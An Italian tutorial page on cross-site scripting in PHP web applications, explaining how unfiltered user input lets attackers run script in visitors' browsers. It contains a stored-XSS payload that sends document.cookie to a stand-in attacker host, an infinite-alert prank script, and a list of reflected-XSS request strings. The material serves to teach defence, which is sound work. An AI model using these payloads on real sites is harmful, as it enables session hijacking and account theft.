Nel caso in cui un'applicazione Web (in special modo webmail, forum, blog e simili) visualizzi dati provenienti da sorgenti esterne, senza un accurato controllo è possibile che i dati di ingresso veicolino possibili exploit volti in generale all'esecuzione di codice sulle macchine client (scripting lato client) oppure all'ottenimento di dati dai client stessi. Per una panoramica generale su queste tecniche si rimanda all'articolo Tecniche: Cross Site Scripting pubblicato nella sezione Sicurezza di HTML.it
Poniamo che un forum mal scritto presenti ai visitatori tutto ciò che viene da essi inserito, senza alcun tipo di controllo. Bene (non troppo): un cracker non esiterebbe ad inserire, quale nuovo messaggio (post), il seguente:
<script language="javascript">
document.location.href="http://hacker_org.com/evil_script.php?data="+document.cookie;
</script>
in cui evil_script.php è uno script in suo controllo, residente su altro server. Nella pagina HTML (del forum) risultante, inviata al browser, si avrebbe quindi tale testo come corpo del messaggio appena scritto; essendo questo in fin dei conti puro codice JavaScript, il browser collegato non indugerebbe ad interpretarlo, portando a caricare la nuova pagina evil_script.php e passandole l'intero contenuto del cookie associato via query string.
evil_script carpirà tutto ciò che sia contenuto nei cookies associati al dominio crackato. Ivi compresi i dati relativi al session_id!
Ad esempio:
PHPSESSID=f3ca8197a2e182f891e09da05467131b; clickedFolder=2; highlightedTreeviewLink=2
In questo modo, senza dover ottenere un log-in valido, il cracker può probabilmente, in assenza di altre misure di sicurezza, simulare l'utente attaccato e riuscire a navigare nel forum come utente legittimo. E a rimediare chissà quali danni.
E se il suo fosse un account da amministratore?
Oltre al furto di dati importanti, non è la prima volta che la tecnica XSS viene utilizzata da "buontemponi" che, iniettando ad esempio il seguente codice nell'applicazione vulnerabile:
<script>while(true){alert("Ah ah ah");}</script>
altro non fanno che costringere l'utente visualizzatore ad uccidere il task relativo al browser, giusto per evitare di dover continuare, infinitamente, a cliccare sul tasto "Ok".
Questo è semplicemente un esempio della possibilità di eseguire codice su browser: l'esecuzione di codice è resa agevole dal fatto che talvolta le applicazioni visualizzano direttamente ciò che ricevono via query string, senza filtrare nulla. Come conseguenza diretta - e questo è importante - è sufficiente inserire via URL ciò che si vuol fare eseguire al client!
Per fissare le idee: molti siti o programmi Web ripetono (visualizzano) ciò che inseriamo in un ipotetico campo di ricerca anche nella pagina HTML successiva, quella in cui vengono visualizzati tutti i risultati trovati, trasportando tali informazioni via query string tra una pagina e l'altra.
In assenza di filtraggio, la pagina di risultato fa eseguire al browser - il quale non batte ciglio - il codice JavaScript che inseriamo nel campo di ricerca stesso.
Molti dei seguenti esempi fanno comparire semplicemente un alert (avviso) JavaScript nella finestra del browser.
[GET] http://www.xxx.com/virusSearch.php?VN=<script>alert('XSS')</script>
[GET] http://www.xxx..com/search/images/view?p=%3Cscript%3Ealert('XSS')%3C/script%3E
[GET] http://www.xxx.com/search?type-index="><script>alert('XSS')</script><x%20y="
[GET] https://www.xxx.com/logonfailed.htm?--><script>alert('XSS')</script><!--
[GET] http://www.xxx.com/viewcvs.cgi/<script>alert('XSS')</script>
[GET] http://www.xxx.com/register.php?id=TclDevKit&required=1& LastName=&EmailAddress="><script>alert(document.cookie)</script><x%20y="&Company=&submit.x=50
[GET] http://www.xxx.com/securityfocus/SearchServlet?col=";alert(document.cookie);//
[POST] <form name="f" action="http://www.xxx.com/static_suchen" method="post"><input name=search value='<script>alert(document.cookie)</script>'></form><script>f.submit()</script>
[GET]http://search.dooyoo.de/search/products/<img%20src=javascript:alert(document.cookie)>
[GET] http://www.xxx.com/test.php?in=<body%20OnLoad=alert('XSS')>
[GET] http://www.xxx.com/test.php?in=<table%background="javascript:alert('XSS')">
[GET] http://www.xxx.com/test.php?in=<A%20HREF="http://goooooggle.com/">Clicca qui </A>
Login basati su cookie con PHPCome creare un sistema di accesso in PHP basato sui cookie: dalla... |
PHP 5: le filter functionsCome monitorare, validare e depurare i dati contenuti all'interno di... |
Lazy loading nella programmazione OOP di PHPCome caricare le classi solo quando è necessario attraverso le... |
PHP 5.3: le novitàLe principali novità della versione 5.3 di PHP, la versione che ci... |
Il web service di Flickr e PHP: esempi avanzatiCercare un utente e le sue foto, autenticarsi su Flickr, caricare... |
Guida SymfonyScopriamo quanto è facile programmare in PHP. Una guida al framework... |
Guida programmazione ad oggetti con PHP 5Come creare applicazioni Web utilizzando la programmazione orientata... |
Guida sicurezza di PHPGuida ai più comuni errori di sicurezza delle applicazioni web in... |
Ogni lunedì, direttamente nella tua e-mail: script, articoli, guide e tutorial su PHP, MySQL e Apache.
Iscriviti alla newsletter
|
|
Corso Webmaster con PHP01 Marzo 2010 a Milano |
|
|
Corso Amministratore Linux15 Febbraio 2010 a Roma |
|
|
Corso Webmaster con PHP29 Marzo 2010 a Roma |